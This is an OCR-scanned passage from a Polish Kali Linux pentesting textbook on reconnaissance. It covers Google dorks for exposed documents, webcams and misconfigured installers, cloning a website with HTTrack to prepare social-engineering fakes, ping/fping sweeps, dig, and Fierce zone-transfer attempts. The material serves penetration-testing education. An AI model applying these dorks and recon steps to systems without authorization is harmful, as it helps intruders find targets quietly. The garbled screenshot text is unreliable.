Wyszukiwanie poufnych dokumentów: in text: cla ssified top secret confidential.
■
Wyszukiwanie interfejsów zarządzania kamerami internetowymi Linksys (uwaga: to, co znajdziesz, może Ci się nie spodobać...): inurl:m ain.cgi Linksys.
■
Wyszukiwanie raportów ze skanera Nessus, zawierających informacje o podatnościach i lukach w zabezpieczeniach różnych systemów: inurl:NESSUSXXXXXXXX.
Jeżeli jesteś zainteresowany wykorzystaniem techniki Google hacking, powinieneś zapoznać się ze znakomitą książką G oogle H acking f o r Penetration Testers Johnny’ego Longa, a oprócz tego zajrzeć na jego stronę internetową http://johnny.ihackstuff.com /.
GHDB, czyli Google Hacking Database Baza danych G H D B, czyli Google Hacking Database, utworzona przez Johnnyego Longa z or ganizacji H ackers f o r Charity (http://www.hackersforcharity.org/), to jedno z najlepszych źródeł informacji na temat zaawansowanych zapytań dla wyszukiwarki Google. Znajdziesz tam tysią ce przeróżnych, odpowiednio pogrupowanych zapytań, pozwalających na wyszukiwanie nazw użytkowników, haseł dostępu, systemów podatnych na atak czy luk w zabezpieczeniach, gro madzonych i udostępnianych przez społeczność fanatyków Google hacking. Aby skorzystać z bazy GH D B, powinieneś uruchomić przeglądarkę i przejść na stronę http:// w w w .exploit-db.com /google-dorks/. Na głównej stronie witryny znajdziesz listę najnowszych zapytań przesłanych przez użytkowników, a potem możesz śmiało zacząć przeglądać interesują ce Cię kategorie i samodzielnie sprawdzać wyniki, jakie przynoszą poszczególne zapytania.
GQOm
F
HACKING- ATA ASG
Welcome tothe google hacking database W e c a ll th e m 'g o o g le d o r tf : In e p t o r fo o lis h p e o p le as re v e a le d b y G o o g le . W h a te v e r y o u c a ll th e se fo o ls , y o u ’v e fo u n d th e c e n te r o f th e G o o g le H ackin g U nive rse !
Search Google Dorks C a te g o ry : d
Free te x t sea rch: |
Latest Google Hacking Entries C a te g o ry f lit» CMUMf v n -r/o 701)44-77
r.i«t|ipe"» m»» * the Oef+Jt
t.
701) 04 7?
fiU-typr ptip «tr (font* irtitlr pftpr/o *p.
701104 77
««ittr Ijc+ayt VA ce
701)44.77
.ntöt:*roo*.*0.0 not /root /&/Vb«rfiV
701)44-27
fiWype tqf
701)04 77
SirvU (O CanngM I9 K 7013 Rhno Software. Ii
FU«i «ontaMng fcocy Mtfo
paw M u»e>
63
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Opisy poszczególnych kategorii zapytań znajdziesz w dolnej części strony głównej. Na przy kładzie przedstawionym poniżej najpierw wybraliśmy kategorię Vulnerable Files, a następnie zapytanie ionC ube L o a d e r W izard.
HACKING-:}ATA; ASE
Welcome to the google hacking database W e c a ll th e m go o g le d o rk s ': In e p t o r fo o lis h p e o p le as r e v e a le d b y G o o g le . W h a te v e r y o u c a ll th e se fo o ls , y o u V e fo u n d th e c e n te r o f t h e G o o g le H ackin g U nive rse )
Search Google Dorks C a te g o ry : |
^ ^ ■ 1
Free t e x t se a rch : I
Google search: Hits: 5280 Submited: 2011-05-28 Teraz możemy kliknąć wybrane zapytanie i w oknie przeglądarki pojawi się strona Google z wyni kami wyszukiwania. ( j O i- g l c
inurUoader-wizard ext:php
W eb
Im ag es
M aps
Shopping
M ore -
S e arch tools
A b o u t 3,51 0 resu lts (0.23 s eco nd s)
ionCube Loader Wizard g s s h ip .o r g /G S S C /IC O N C u b e ln s ta ll/.. . /lo a d e r - w iz a r d p h p T tim e o u t... * Loader is at: /h o m e 4 /g s s h ip o r/p u b lic _ M m l/io n c u b e /io n cu b e Jo a d e rJin _5 .2 .so . Loader O S code: lin. Loader a rchitecture: x86. Loader w ord size : 32. Loader P U P ...
ionCube Loader Wizard te c n o to g ia s 1 0 1 in fo /a lg e s w e b /io n c u b e /lo a d e r- w iz a r d .p h p * P le ase c o n ta c t th e s c rip t pro vid er i f y o u d o e xp erien ce any problem s running e ncoded file s . F o r s e c u rity reasons w e a d v is e th a t yo u rem ove th is W iza rd s c r ip t...
ionCube Loader Wizard - Next Best Thing To Mom w w w . n e x tb e s tth m g to m o m .n e t/lo a d e r - w iz a r d .p h p * ionC ube Loader W izard G oO addy In s ta lla tio n In s truc tio ns. It appoars th a t yo u are ho ste d w ith G oO addy (ww w go da dd y.co m ). If th a t is not th e c a s e th en p le ase ...
ionCube Loader Wizard w w w . m u n ic a n e t e .g o b .p e /lo a d e r -w iz a r d . p h p » ionC ube Loader W izard. T o u s e file s th a t ha v e been p ro tected by th e ionC ube PH P E ncoder, a c om ponent calle d th e ionC ube Loader m us t be installed.
ionCube Loader Wizard p la n e tg o r e .c o m / io n c u b e /lo a d e r - w iz a r d .p h p ? p a g e = d e fa u lt * ionC ube Loader W izard. A n updated vers io n o f th is W iza rd s crip t is ava ilab le here. The ionC ube Loader v ers io n 4 .0.4 is alrea dy insta lled and e n cod ed file s ...
Jak widać, w naszym przykładzie wyszukiwarka Google znalazła tylko kilka wyników pasujących do naszego zapytania. Wynika stąd, że pakiety ion C u be L o a d e r rzadko bywają źle skonfiguro wane. ion C u be L o a d e r to kawałek naprawdę dobrego oprogramowania, które zabezpiecza aplikacje napisane w PHP przed przeglądaniem i modyfikowaniem ich z komputerów, które
64
R o z d z ia ł 2. • R e k o n e s a n s
|
nie posiadają do tego odpowiedniej autoryzacji. Nie da się jednak ukryć, że w przypadku przed stawionym na rysunku poniżej administrator tego systemu pozostawił otwarty, niczym nieza bezpieczony dostęp do kreatora konfiguracji. Professional PHP Solutions
ionCube ionCube Loader Wizard T o u s e f ile s t h a t h a v e b e e n p r o te c te d b y th e io n C u b e PHP E n c o d e r, a c o m p o n e n t c a lle d th e io n C u b e L o a d e r m u s t b e in s ta lle d . T h is W iz a rd w i ll g iv e y o u in fo r m a tio n o n h o w to in s ta ll th e io n C u b e L o a d e r. P le a s e s e le c t th e ty p e o f w e b s e r v e r th a t y o u h a v e a n d th e n c lic k N e x t. S h a re d (fo r exam ple, server with FTP access only and no access to php.WM) D e d ic a te d o r VP S (server with fun roo t ssh access) L o c a l in s ta ll
Kiedy wejdziesz na taką stronę i klikniesz pierwsze łącze, zostaniesz przeniesiony na stronę pozwalającą skonfigurować ten pakiet oprogramowania. Można śmiało powiedzieć, że z perspektywy pentestera baza danych G H D B zamienia wyszuki warkę Google w swego rodzaju skaner aplikacji internetowych. Jak widać, w zależności od intencji Google hacking może się przyczynić do zwiększenia bezpieczeństwa systemów w internecie, ale równie dobrze może stać się w rękach mrocznego hackera znakomitym narzędziem, po zwalającym na przeprowadzanie dobrze ukierunkowanych ataków na serwery sieciowe.
Badanie zasobów sieci komputerowych Wielu użytkowników nie zdaje sobie sprawy z prawdziwej roli, jaką odgrywa skanowanie zasobów sieci komputerowej środowiska celu przed rozpoczęciem właściwego ataku. Jednak pentesterzy, którzy już nawet tylko amatorsko zajmują się przeprowadzaniem testów penetracyjnych, doskonale wiedzą, dlaczego wybranie odpowiedniego celu jest jednym z kluczowych elementów niezbędnych do przeprowadzenia testu. W końcu przecież każdy pentester dysponuje całym arsenałem różnorodnych narzędzi, którym musi wskazać jakiś cel ataku. Wielu amatorów do rozpoznania sieci wykorzystuje narzędzia takie jak Nmap, PingSweeper czy inne, które jednak ro bią w sieci dużo „hałasu” i niepotrzebnie zwracają na siebie uwagę, co w efekcie powoduje, że wyniki ich działania mogą być dosyć mierne. Rekonesans sieciowy ma na celu wybranie odpowiedniego celu ataku. Każdy profesjonalista zajmujący się zagadnieniami bezpieczeństwa sieciowego powie Ci z pewnością, że dobry rekone sans polega na tym, aby wybrać odpowiedni cel ataku, spędzając większość czasu raczej na pasyw nej obserwacji sieci niż na „hałaśliwym” przeprowadzaniu aktywnego skanowania — a jak sam pamiętasz, im ciszej się zachowujesz, tym więcej usłyszysz... Celem pierwszego etapu każdego testu penetracyjnego jest staranna selekcja dostępnych celów i wybranie tego, który rokuje największą szansę powodzenia ataku.
65
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Przeprowadzając testy penetracyjne dla klientów zewnętrznych, powinieneś pamiętać, że zawsze po stronie zleceniodawcy znajdzie się ktoś, kto dla swojej własnej satysfakcji, zademonstrowania swoich umiejęt ności szefowi lub kolegom albo po prostu udowodnienia, że zasoby sieciowe firmy są znakomicie zabez pieczone, obierze sobie za punkt honoru utrudnianie życia pentesterowi i blokowanie jego wysiłków zmierza jących do pomyślnego wykonania testu penetracyjnego. W takich sytuacjach zdecydowanie odradzamy wchodzenie w jakiekolwiek konflikty z pracownikami zleceniodawcy. Pamiętaj, że dobry pentester po winien skoncentrować się na wykonaniu swojego zadania i wskazaniu istniejących luk w zabezpiecze niach systemu przy zachowaniu tylko minimalnej, naprawdę niezbędnej interakcji z pracownikami działów bezpieczeństwa właściciela systemu zlecającego przeprowadzenie testu penetracyjnego.
Poniżej przedstawiamy zestawienie starannie wybranych, naszym zdaniem najlepszych narzędzi przeznaczonych do przeprowadzania rekonesansu aplikacji internetowych, które zostały za implementowane w systemie Kali Linux. Oczywiście oprócz nich istnieje wiele innych narzę dzi do testowania innych typów celów, aczkolwiek w tym rozdziale chcemy się skoncentrować tylko na aplikacjach internetowych.
HTTrack — klonowanie witryny internetowej H TTrack to wbudowane narzędzie systemu Kali Linux, które pozwala na utworzenie pełnej kopii witryny internetowej na dysku komputera lokalnego. Dzięki utworzeniu takiej kopii pentester ma możliwość zapoznania się z całą zawartością danej witryny, wszystkimi je j stronami i plikami w swoim własnym, całkowicie kontrolowanym środowisku, bez konieczności każdorazo wego łączenia się z tą witryną. Warto tutaj wspomnieć, że pakietu H TTrack będziemy w ko lejnych rozdziałach używać do przygotowania ataków socjologicznych. M ając dokładną kopię badanej witryny, pentester może przygotować je j odpowiednio spreparowaną, fałszywą wer sję, której można później użyć wraz z innymi narzędziami do przeprowadzenia ataku. Aby skorzystać z pakietu HTTrack, otwórz okno terminalu, a następnie wpisz polecenie apt-get in s ta ll httrack, tak jak to zostało zilustrowane na rysunku poniżej.
W niektórych wersjach systemu Kali Linux pakiet
HTTracknie jest preinstalowany.
root@ kali:~# apt-get in s t a ll h ttrack Reading package l i s t s . . . Done B u ild in g dependency tree Reading state in fo rm atio n ... Done h ttrack i s already the newest version. The follow ing packages were autom atically in s ta lle d and are no lone er required: green b o ne-secu rity-assistan t lib ksb aS libm icrohttpdlO libopenvas6 openvas-adm inistrator op en vas-cli openvas-manager openvas-scanner xsltp ro c Use 'ap t-get autoremove' to remove them. O upgraded. 0 newly in s ta lle d , 0 to remove and 2 not upgraded._____
66
R o z d z ia ł 2. • R e k o n e s a n s
fl
Teraz powiniene ś utworzyć katalog, w którym będą przechowywane pliki skopiowanej witryny. Na kolejnym rysunku przedstawiono proces tworzenia katalogu o nazwie m y w ebsites za po mocą polecenia mkdir.
root@kali:~# mkdir mywebsites Aby uruchomić pakiet HTTrack, wpisz w oknie terminalu polecenie httrack, a następnie podaj nazwę projektu, jak przedstawiono na rysunku poniżej. root@kali : ~# root@kali:~# root@kali :/#
mkdir mywebsites cd / websites httrack
Welcome to HTTrack Website Copier (O fflin e Browser) 3.4 6 + lib h tsje .so. 2 Copyright (C) Xavier Roche and other contributors To see the option l i s t , enter a blank lin e or tr y h ttrack --h elp Enter project name :| Kolejnym krokiem je st podanie ścieżki katalogu, w którym zostaną zapisane pliki kopiowa nej witryny. Na następnym rysunku pokazujemy, w jaki sposób użyć do tego celu katalogu /root/m yw ebsites, który utworzyliśmy chwilę wcześniej.
ro o t@ kali:/# h ttra c k Welcome to HTTrack Website Copier ( O fflin e Browser) 3. . so. 2 C opyright (C) X a v ie r Roche and other co n trib u to rs To see the option l i s t , enter a blank lin e or t r y h ttr Enter p ro je ct name :drchaos.com Base path ( return =/ro o t/w eb sites/) :/root/m yw ebsites| Teraz wpisz adres U RL witryny, której kopię chcesz utworzyć. W naszym przykładzie posłużymy się witryną w w w .d rch a os.com . Oczywiście może to być dowolna inna witryna internetowa. W większości przypadków będą to witryny często odwiedzane przez pracowników firmy będącej celem ataku, takie jak popularne media społecznościowe czy strony internetowe samej firmy. Kolejne dwie opcje pozwalają na określenie, co chcesz zrobić z podaną witryną internetową. Najprostszym rozwiązaniem będzie wybranie opcji numer 2, M irror W eb Site(s) w ith W izard, która pozwala na utworzenie kopii witryny za pomocą przyjaznego kreatora, jak przedstawiono na rysunku zamieszczonym poniżej.
67
fl
K a li L in u x . T e s ty p e n e tra c y jn e
Base path ( retu rn =/ro o t/w eb sites/) :/root/m yw ebsites Enter URLs (separated by commas or blank spaces) :www.drchaos. com A c tio n : (en te r) 1 2 3 4 5 0
M irror W e t S f i^ B s l Q I J l M irror Web S it e ( s ) w ith Wizard Ju s t Get F ile s In d ica te d M irror ALL lin k s in URLs (M u ltip le M irror) T e st L in k s In URLs (Bookmark T e st) Quit
Następnie powinieneś określić, czy będziesz korzystał z serwera proxy. Możesz również zde finiować typy plików, które będą kopiowane (w naszym przykładzie został wybrany znak *, co oznacza kopiowanie wszystkich plików). Oprócz tego możesz zdefiniować dowolne opcje wiersza polecenia oraz ustawić niezbędne flagi. W naszym przykładzie nie ustawiamy jednak żadnych dodatkowych opcji. Zanim polecenie httrack rozpocznie działanie, na ekranie wyświetli się pełny wiersz polece nia ze wszystkimi opcjami ustawionymi przez C iebie za pomocą kreatora. Jeżeli zapiszesz so bie gdzieś to polecenie, to następnym razem będziesz mógł uruchomić polecenie httrack bez konieczności korzystania z kreatora. Kolejne dwa rysunki zamieszczone poniżej przedstawiają proces konfiguracji polecenia httrack i kopiowanie zawartości witryny w w w .d rch aos.com .
(enter) 1 2 3 4 5 o
M irror Web S it e ( s ) M irror Web S it e ( s ) w ith Wizard Ju s t Get F it e s In d ica te d M irror ALL lin k s in URLs (M u ltip le M irror) Test L in k s In URLs (Bookmark T est) Quit
: 2
'Proxy ( return=none) : 'You can defin e w ild ca rd s, li k e : - * . g if +www.*.com/*.zip -* j W ildcards (return=none) :* :You can defin e a d d itio n a l optio n s, such as recurse le v e l (> ) , separed by blank space^yr, To see the option l i s t , typg_h§lp_ A d d itio n a l options ( return=none) : — > Wizard command lin e : h ttra ck www.drchaos.com -W -0 "/r bsites/drchaos.com " -%v * Ready to launch the m irror? (Y/n) :|
68
R o z d z ia ł 2. • R e k o n e s a n s
fl
* www.drchaos . c o m / t a g / c o m p l i a n c e / w w w .fa ce b o o k . c o m / a a m ir l 9 0 / 8 6 0 : www.d r c h a o s . c o m / t a g / c o n t i n u o u s - m o n i t o r i n g / (3 4 2 1 * www.drchaos . com/wp-c o n t e n t / u p l o a d s / 2 0 1 3 / 0 6 / i d e n t i t y_an * www.drchaos . c o m / t a g / c o n t i n u o u s - m o n i t o r i n g / < a h r e f = (33 * www.drchaos . co m /b e n e fi t s - o f - u s i n g - i d e n t i t y - a n d - a c c e s s ł www.drchaos . c o m / t a g / c o n t i n u o u s - m o n i t o r i n g / w ww .facebook * www.drchaos . c o m / t a g / f e d t e c h / w w w .f a c e b o o k .c o m / a a m irla k h * www.drchaos . c o m / t a g / i s e / w w w .fa ce b o o k . c o m / a a m i r l a k h a n i 0 * www.drchaos . c o m / t a g / i n f o s e c / w w w .f a c e b o o k .c o m / a a m irla k h * www.drchaos . c o m / a u t h o r / t im -a d a m s / w w w .fa ce b o o k . com/aami * l . g r a v a t a r . c o m / a v a ta r/ fb b f2 c f5 5 e d l6 f7 7 0 7 a 9 e 5 d 8 d b lc 6 5 7 b tp%3A%2F%2Fl. g r a v a t a r . c o m % 2 F a v a t a r % 2 F a d 5 1 6 5 0 3 a llc d 5 c a 4 3 5 * www.drchaos . c o m / w p - c o n t e n t / u p l o a d s / 2 O 1 3 / 0 6 / i r _ p l a n - 190 * www.drchaos . c o m / c a t e g o r y / t r a v e l / w w w .fa ce b o o k . co m /aam ir * www.drchaos . c o m / w p - c o n t e n t / u p l o a d s / 2 0 1 3 / 0 7 / T r a v e l -9 0 x 6 * www.drchaos . c o m / w p - c o n t e n t / u p lo a d s / 2 0 1 3 / 0 7 / d s c _ 0 0 6 7 - 3 0 * www.drchaos . c o m / t a g / t r a v e l / w w w .fa ce b o o k . c o m / a a m irla k h a * www.drchaos . c o m / t a g / d a t a - b r e a c h / w w w .fa ce b o o k .co m /a a m ir Po zakończeniu klonowania witryny przejdź do katalogu, w którym została zapisana. Wewnątrz znajdziesz wszystkie pliki i strony skopiowanej witryny, jak przedstawiono na rysunku poniżej: ro ot(ąkali :- # cd m ywebsites/ ro o t< ą k a li: '/m yw eb sites# I s c lo u d c e n t r ic s . com root<ąkal i : -/m yw ebsites#
Teraz jeste ś już gotowy do rozpoczęcia analizy struktury i zawartości witryny, a zebrane na tym etapie dane mogą pozwolić Ci później na przygotowanie odpowiednio skonfigurowanego narzędzia do penetracji systemu czy znaleźć i wykorzystać lukę w mechanizmie uwierzytel niania użytkowników.
Rekonesans z wykorzystaniem protokołu ICMP Wykorzystanie poleceń ping oraz tracerou te to kolejny dobry sposób na zgromadzenie pod stawowych informacji na temat celu ataku. Kiedy pakiety danych są przesyłane przez sieć komputerową, to zazwyczaj nie podróżują bezpośrednio od źródła do m iejsca swojego prze znaczenia. W większości przypadków pakiety danych przechodzą po drodze przez co najmniej kilka urządzeń sieciowych, takich jak routery, zapory sieciowe i inne systemy komputerowe. Polecenie traceroute pozwala na zidentyfikowanie poszczególnych systemów, przez które podró żuje pakiet, i podaje czas, w jakim pakiet je st przesyłany między kolejnymi systemami. Na rzędzie to jest wbudowane w praktycznie każdy współczesny system operacyjny. W przypadku najbardziej chronionych systemów polecenia takie jak ping czy traceroute są często blokowane, a nadmierne próby ich wykorzystania z pewnością spowodują wygenerowanie alarmów w syste mach wykrywających anomalie ruchu sieciowego i zabezpieczających dane środowisko. Zapo ry sieciowe i inne systemy zabezpieczające sieci komputerowe są bardzo często konfigurowane tak, aby nie przepuszczały tego typu ruchu sieciowego. Jeżeli system odpowiada na polecenie
69
fl
K a li L in u x . T e s ty p e n e tra c y jn e
traceroute, to jego nadużywanie może spowodować wygenerowanie alarmów w systemach monitorujących. Jeżeli Twoim zamiarem było pozostanie w ukryciu, to w takiej sytuacji jesteś na przegranej pozycji — przedwczesne wzbudzenie uwagi pracowników IT zajmujących się bezpieczeństwem systemu, który zamierzałeś spenetrować, może dać im szansę na wdrożenie dodatkowych mechanizmów zabezpieczeń i znaczące utrudnienie przeprowadzenia testu penetracyjnego. Skanowanie z wykorzystaniem protokołu IC M P polega na wysyłaniu komunikatów ICM P E ch o Request i oczekiwaniu na odpowiedź systemu docelowego. Jeżeli taka odpowiedź nadejdzie, to wiesz, że „po drugiej stronie” znajduje się host, który może być potencjalnym celem ataku. Problem z takim skanowaniem polega na tym, że komunikaty IC M P są zazwyczaj blokowane przez większość zapór sieciowych. Oznacza to, że w takiej sytuacji jakakolwiek próba skano wania za pomocą IC M P z zewnątrz środowiska chronionego przez zaporę sieciową będzie skazana na niepowodzenie. Użycie polecenia ping to najprostszy sposób przeprowadzenia skanowania środowiska celu. Aby to zrobić, wystarczy w oknie terminalu wpisać polecenie ping i nazwę hosta docelowego lub je go adres IP Po uruchomieniu takiego polecenia możesz się przekonać, czy dany host sieciowy odpowiada na komunikaty ICM P E ch o R equ est. Na poniższym rysunku przedstawiono odpo wiedź hosta w w w .g oog le.com na polecenie ping: L a s t lo g i n : Tue Sep 10 1 0 :2 8 :1 2 on c o n s o le rtp -jo m u n iz -8 8 1 5 :* ' jo m u n izS p in g www.googe.com PING www.googe.com ( 7 2 .4 4 .9 3 .9 4 ) : 56 d a ta b y te s 64 b y te s from 7 2 .4 4 .9 3 .9 4 : icm p_seq=0 t t l = 4 5 tim e = 1 2 3 .5 6 6 64 b y te s from 7 2 .4 4 .9 3 .9 4 : icm p _ se q = l t t l= 4 5 tim e = 1 1 0 .3 5 1 64 b y te s from 7 2 .4 4 .9 3 .9 4 : icm p_seq=2 t t l = 4 5 tim e = 1 0 6 .2 1 8 64 b y te s from 7 2 .4 4 .9 3 .9 4 : icm p_seq=3 t t l = 4 5 tim e = 1 1 6 .4 9 0 64 b y te s from 7 2 .4 4 .9 3 .9 4 : icm p_seq=4 t t l= 4 5 tim e = 1 1 6 .5 6 6
ms ms ms ms ms
5 p a c k e ts t r a n s m it t e d , 5 p a c k e ts r e c e iv e d , 0.0% p a ck e t lo s s r o u n d - t r ip m in /a vg /m a x/std d e v = 1 0 6 .2 1 8 / 1 1 4 .6 3 8 /1 2 3 .5 6 6 / 5 .9 3 5 ms
Jeżeli otrzymasz odpowiedź na polecenie ping, to będziesz wiedział, że taki host sieciowy jest aktywny. Jeżeli jednak wynikiem działania tego polecenia będzie komunikat o upływie czasu żądania (ang. req u est tim ed out), to będzie to oznaczać, że komunikaty IC M P są blokowane przez zaporę sieciową albo dany host jest po prostu nieaktywny. Problem z poleceniem ping polega na tym, że za jego pomocą możesz sprawdzać tylko jed en system naraz. Istnieje jednak narzędzie o nazwie fping, które pozwala na wysyłanie komuni katów IC M P do wielu hostów sieciowych za pomocą jednego polecenia. Co w ięcej, polecenie to potrafi wysyłać takie komunikaty do wszystkich hostów sieciowych, których nazwy lub ad resy IP zostały wcześniej przygotowane w pliku tekstowym. Aby skorzystać z polecenia fping, powinieneś użyć następującej składni wywołania: Fping -asq adres_sieci/maska fping -asq 10.0.1.0/24
70
R o z d z ia ł 2. • R e k o n e s a n s
fl
W powyższym przykładzie opcja a powoduje, że polecenie zwraca wyniki działania tylko dla aktywnych hostów, opcja s powoduje wyświetlenie zbiorczej statystyki po zakończeniu dzia łania, a opcja q przełącza polecenie fping w tryb „cichy”, gdzie użytkownik nie widzi na ekranie statusu poszczególnych skanów, lecz tylko podsumowanie całej operacji po je j zakończeniu.
Podobne rezultaty można uzyskać za pomocą skanera Nmap.
Rekonesans z wykorzystaniem serwerów DNS Większość wartościowych celów posiada nazwy D N S przypisane do aplikacji internetowych. Wykorzystanie nazw D N S powoduje, że użytkownicy mają łatwiejszy dostęp do określonej usługi, a przy tym takie rozwiązanie dodaje systemowi nieco profesjonalnego szlifu. Jeżeli na przykład chcesz skorzystać z wyszukiwarki Google, możesz co prawda w pasku adresu przeglądar ki wpisać 74.125.227.101, ale przecież znacznie łatwiej jest wpisać w w w .google.com . Z punktu widzenia pentestera informacje o celu pozyskane z serwerów DN S mogą być nie zwykle przydatne. Dzięki odpowiednim zapytaniom pentester może określić, jakie systemy i poddomeny są wykorzystywane w środowisku celu. Starsze typy ataków na serwery DNS polegały na pozyskiwaniu plików strefowych (ang. zone files) z autorytatywnych serwerów DNS, co pozwalało pentesterowi na zapoznanie się z ich zawartością i identyfikację celów na pod stawie rekordów zasobowych (ang. DNS resou rce records) przechowywanych w takich plikach. Niestety, większość współcześnie używanych serwerów D N S nie zezwala na przeprowadzanie nieuwierzytelnionych transferów stref (ang. zone transfers). Na szczęście nie wszystko stracone! D N S to specyficzna usługa, której przeznaczeniem je st odpowiadanie na zapytania, stąd po tencjalny napastnik może używać plików słownikowych do generowania zapytań DNS dla do meny celu. Praktyczne wykorzystanie takiej możliwości ataku wymaga jednak dużej ilości czasu, aczkolwiek większość działań z tym związanych daje się zautomatyzować. D ig (ang. dom ain inform ation groper) to jedno z najpopularniejszych i najpowszechniej używa nych narzędzi do pozyskiwania informacji z serwerów DNS. Jego działanie polega na wysyłaniu zapytań do serwerów D N S i prezentowaniu otrzymanych odpowiedzi. Aby skorzystać z tego narzędzia, otwórz okno terminalu i w wierszu poleceń wpisz d ig oraz nazwę hosta reprezen tującego domenę celu. Wywołane w taki sposób polecenie dig prześle zapytanie do domyśl nych serwerów D N S ustawionych w systemie operacyjnym Twojego komputera. Jeżeli będzie to potrzebne, możesz również skonfigurować polecenie dig tak, aby przesyłało zapytania do serwera D N S o podanym adresie IP Aby to zrobić, powinieneś w wierszu wywołania polecenia dodać opcję @ , gdzie to adres IP wybranego serwera DNS. W przykładzie zamieszczo nym poniżej prezentujemy zastosowanie polecenia dig do pozyskiwania informacji na temat domeny w w w .cloudcentrics.com :
71
fl
K a li L in u x . T e s ty p e n e tra c y jn e
/Ovalakhani — bash — 80x24
ft O O chaos:** chaos:** chaos:** chaos:** ; ; : ;
a l a k h a n ii a la k h a n i$ a la k h a n i$ a la k h a n iS d ig w w w .clo u d c e n tric s .c o m
« » DiG 9 . 8 . 3 - P I « » w w w .clo u d c e n tric s.c o m g lo b a l o p t io n s : +cmd Got an sw er: - » H E A D E R « - opcode: QUERY, s t a t u s : NOERROR, i d : 57827 f l a g s : q r rd r a ; QUERY: 1 , ANSWER: 2 , AUTHORITY: 0 , ADDITION AL:
; ; QUESTION SECTIO N: ; www.c lo u d c e n t r ic s .c o m . ; ; ANSWER SECTIO N : w w w .c lo u d c e n tric s .c o m . c lo u d c e n t r ic s .c o m .
14400 14400
IN IN
CNAME A
c lo u d c e n t r ic s .c o m . 5 0 .1 1 6 .9 7 .2 0 5
Q uery tim e : 24 msec SERVER: 1 0 . 0 . 1 . 1 # 5 3 (1 0 .0 .1 .1 ) WHEN: Tue Mar 19 2 3 :5 4 :0 2 2013 MSG S IZ E r c v d : 69 chaos:** a la k h a n iS |
Opcja - t powoduje, że polecenie dig wystawia żądanie transferu strefy do autorytatywnych serwerów D N S. W kolejnym przykładzie użyte zostało następujące polecenie: dig - t ns cloudcentrics.com.
Na podstawie wyników działania tego polecenia możemy dowiedzieć się, że domena www. clo u d cen trics.com posiada dwa autorytatywne serwery DNS, o nazwach ns3681.hostgator.com oraz ns3682.hostgator.com . Gratulacje! W łaśnie znalazłeś dwa autorytatywne serwery D N S wykorzystywane przez sys tem będący celem Twojego ataku.
72
R o z d z ia ł 2. • R e k o n e s a n s
fl
Identyfikacja celów za pomocą serwerów DNS Teraz, kiedy ju ż poznałeś nazwy autorytatywnych serwerów D N S środowiska celu, możesz zacząć sprawdzać, jakie hosty pochodzące z tego środowiska posiadają na tych serwerach swoje wpisy. Na przykład w domenie drch a os.co m może się znajdować kilka różnych hostów, takich jak cloud.drchaos.com , m ail.drchaos.com czy sharepoint.drchaos.com . Każdy z tych hostów mo że być aplikacją internetową i cennym celem ataku. Zanim jednak rozpoczniesz na oślep wybierać nazwy hostów, powinieneś sprawdzić, co na ten temat wie serwer D N S. Najlepszym sposobem realizacji tego zadania je st po prostu wysłanie odpowiedniego zapytania do serwera DNS i analiza otrzymanej odpowiedzi. Jeżeli serwer DNS jest skonfigurowany tak, że pozwala na transfery stref, to w odpowiedzi otrzymamy kompletny zestaw wpisów przechowywanych na serwerze. W systemie Kali Linux znajdziesz narzędzie o nazwie F ierce, za pomocą którego możesz spraw dzić, czy dany serwer D N S zezwala na przeprowadzanie transferów stref. Jeżeli taka operacja jest dozwolona, wystawi żądanie transferu strefy i przedstawi wyniki działania użytkownikowi. Jeżeli transfery stref na danym serwerze nie są dozwolone, Fierce może zostać skonfigurowane tak, aby za pomocą ataku słownikowego odgadnąć nazwy hostów, dla których dany serwer DNS świadczy usługi. Jak widać, Fierce je st narzędziem zaprojektowanym do przeprowadzania re konesansu, jeszcze zanim użyjesz innych narzędzi wymagających już podawania adresu IP hosta, takich jak Nmap. Aby wywołać pakiet Fierce, przejdź w systemie Kali Linux do menu głównego i wybierz pole cenie Program y/K ali Linux/Inform ation G athering/D N S A nalysis/F ierce. Pakiet zostanie uru chomiony w oknie terminalu, jak przedstawiono na rysunku poniżej: -threads Specify how many threads to use while scanning (d is sin g le threaded). -traverse Specify a number of IP s above and below wha have found to look fo r nearby IP s. Default is 5 ab below. Traverse w ill not move into other C blocks, -version Output'- t^ei version number. -wide Scan the e n tire c la s s C a fte r fin d in g any m hostnames in that c la s s C. Th is generates a lo t mo but can uncover a lo t more information. -w ordlist Use a seperate w ordlist (one word per lin e ) peri fie r c e .p l -dns examplecompany.com -w ordlist dictionary ro o tflk a li:-# B______________________________________________________
Aby użyć pakietu Fierce, powinieneś w oknie terminalu wpisać polecenie podobne do nastę pującego: fie rc e .p l -dns thesecurityblogger.com
73
fl
K a li L in u x . T e s ty p e n e tra c y jn e
root@ kali:-# fie rc e -dns thesecurityblogger.com DNS Servers for thesecurityblogger.com : ns3.dreamhost.com n s l .dreamhost.com ns2.dreamhost.com Trying zone tra n sfe r f i r s t . . . Testing ns3.d reamhost.com Request timed out or tra n sfe r not allowed. Testing nsl.dreamhost.com Request timed out or tra n sfe r not allowed. Testing ns2.dreamhost.com Request timed out or tra n sfe r not allowed. Unsuccessful in zone t r a n s fiy ^ iftT M i Okay, try in g the good old Tashioriea ¡w Can't open h o sts.tx t or thi-oerotfV^lw E x it in g . .. r o o t f llk c il i : - #
Jak widać, po wykonaniu tego polecenia i analizie jego wyników działania znamy już nazwy co najmniej kilku hostów zlokalizowanych w domenie thsecurityblogger.com, czyli nasze zadanie zostało wykonane. Często zdarza się jednak, że Fierce nie będzie w stanie przeprowadzić transferu stref. W takiej sytuacji Fierce spróbuje wymusić transfery stref, przeprowadzając atak słownikowy z wykorzystaniem predefiniowanej listy słów lub całego słownika (o ile zde finiowałeś taką opcję). W naszym przypadku tego nie zrobiliśmy, ponieważ naszym zadaniem było poznanie hostów zlokalizowanych w tej domenie, ale jeszcze na tym etapie bez prze prowadzania ataku wymuszającego transfer stref. Jeżeli Twoje zamierzenia są nieco szerzej zakrojone i nie ograniczają się tylko do aplikacji internetowych, to możesz spróbować prze prowadzić taki atak samodzielnie. Teraz możemy się już skoncentrować na wybranym hoście i do jego dalszego rozpoznania wyko rzystać narzędzia takie jak Nmap. Niezmiernie ważnym aspektem pracy z pakietem Fierce jest to, że pozwala on na rozpoznanie i wybranie celu ataku, a jednocześnie generuje tylko minimalną ilość ruchu sieciowego, co znacząco zmniejsza ryzyko wykrycia takiego działania. Programu Nmap będziemy używać w dalszej części tego rozdziału.
